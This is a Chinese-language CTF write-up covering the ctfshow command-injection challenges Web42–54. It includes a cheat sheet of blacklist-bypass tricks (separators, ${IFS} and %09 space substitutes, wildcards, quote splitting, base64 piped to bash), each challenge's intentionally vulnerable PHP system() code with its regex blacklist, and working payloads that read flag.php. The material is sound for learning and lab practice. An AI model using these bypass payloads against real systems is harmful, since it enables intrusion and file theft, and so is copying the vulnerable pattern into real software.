0x00前記
終於把學校上學期的期末考試考完了,剛好復習的時候跟着群里的師傅寫了ctfshow上Web入門的42-54的題目,其中有很多的坑,但是收獲也是很多的,這里做一下總結吧!給自己挖了很多的坑,很感謝各位師傅幫我填坑!!!
0x01命令執行
題目的考點主要都是命令執行+命令分隔,與ping的那種題目類似,不過這里主要是使用是“>/dev/null 2>&1”,百度查了一下意思,好像是不進行回顯的意思,那就分隔命令,將命令分開,使得后面的命令失去相應的作用。
分隔命令
; //分號應該是最好理解的
| //只執行后面那條命令
|| //只執行前面那條命令
& //兩條命令都會執行,不知道是不是自己姿勢不對,沒成功,下面也是一樣
&& //兩條命令都會執行
空格繞過
<
<> //需要寫的權限
${IFS}
$IFS$9
%20
%09
%3c
A=$'cat\x20flag'&&$A
A=$'cat\x09flag'&&$A
黑名單
//一般情況像flag、php這種字符會被ban掉,這時候就需要進行繞過了
通配符
* //匹配任何文本或字符串,這個通過測試發現並不能與IFS或<這兩個字符一起使用
? //匹配單個任意字符
空字符
$@ //ca$@t flag
$1-$9 //ca$1t flag
${數字} //ca${1}t flag
編碼繞過
echo "Y2F0IGZsYWcucGhwCg=="|base64 -d|bash //解碼為cat flag.php並執行
echo "cat flag.php"|base64 //最好別在在線網站編碼,不然可能會將空格轉成url編碼,從而無法執行命令
變量替換
a=t;b=g;ca$a fla$b.php
引號
ca''t fl''ag.php
反斜桿
ca\t f\la\g.php
Linux查看文件命令
cat //cat flag.php
tac //tac flag.php
head //head flag.php
tail //tail flag.php
nl //nl flag.php
more //more flag.php
less //less flag.php
od //od flag.php
grep //grep 'fla' flag.php
strings //strings flag.php
sort //sort flag.php
0x02題目解析
以下題目均來自:CTFshow
感謝大師傅給我們出了這些有趣有意思的題目,開心
Web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
//這題沒有任何的過濾,只有一個不回顯的命令,命令分隔一下即可
Payload:?c=cat flag.php;
Web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//這題開始增加了黑名單了,過濾了分號-->可以用||繞過;cat則可以換一種查看文件的命令,或者使用引號等方式繞過
Payload:?c=tac flag.php||
Web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//對此開始過濾flag關鍵詞了,這里可以用單引號、通配符等方法繞過
Payload:?c=tac fla*||
Web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//這里開始過濾空格了,利用上面講到的空格繞過即可
Payload:?c=tac%09fla?????||
Web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//這里過濾了數字推測可能是限制使用編碼繞過,過濾了$可以限制比較多,以及通配符*,但是還有?
Payload:?c=tac%09fla??php||
Web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//新添加了一些查看文件的命令進黑名單,但是tac還是可以用的
Payload:?c=tac%09fla??php||
Web48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//繼續新增黑名單的內容,但是tac還是沒過濾,開心
Payload:?c=tac%09fla??php||
Web49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Payload:?c=tac%09fla??php||
Web50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//這里過濾了%和09,不能用原來的payload,不過換種空格繞過方式即可,這里有個坑就是<>和?一起使用時沒有回顯,所以這里用了單引號繞過
Payload:?c=tac<>fla%27%27g.php||
后面幾題其實都是差不多的,這里不多贅述了。
Web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
//因為這里加了匹配的內容,不能使用空字符繞過了,好不容易找到了grep命令,好用!!!因為flag被過濾了,所以對於關鍵字這里只用了'fla'
Payload:?c=grep${IFS}'fla'${IFS}fla??php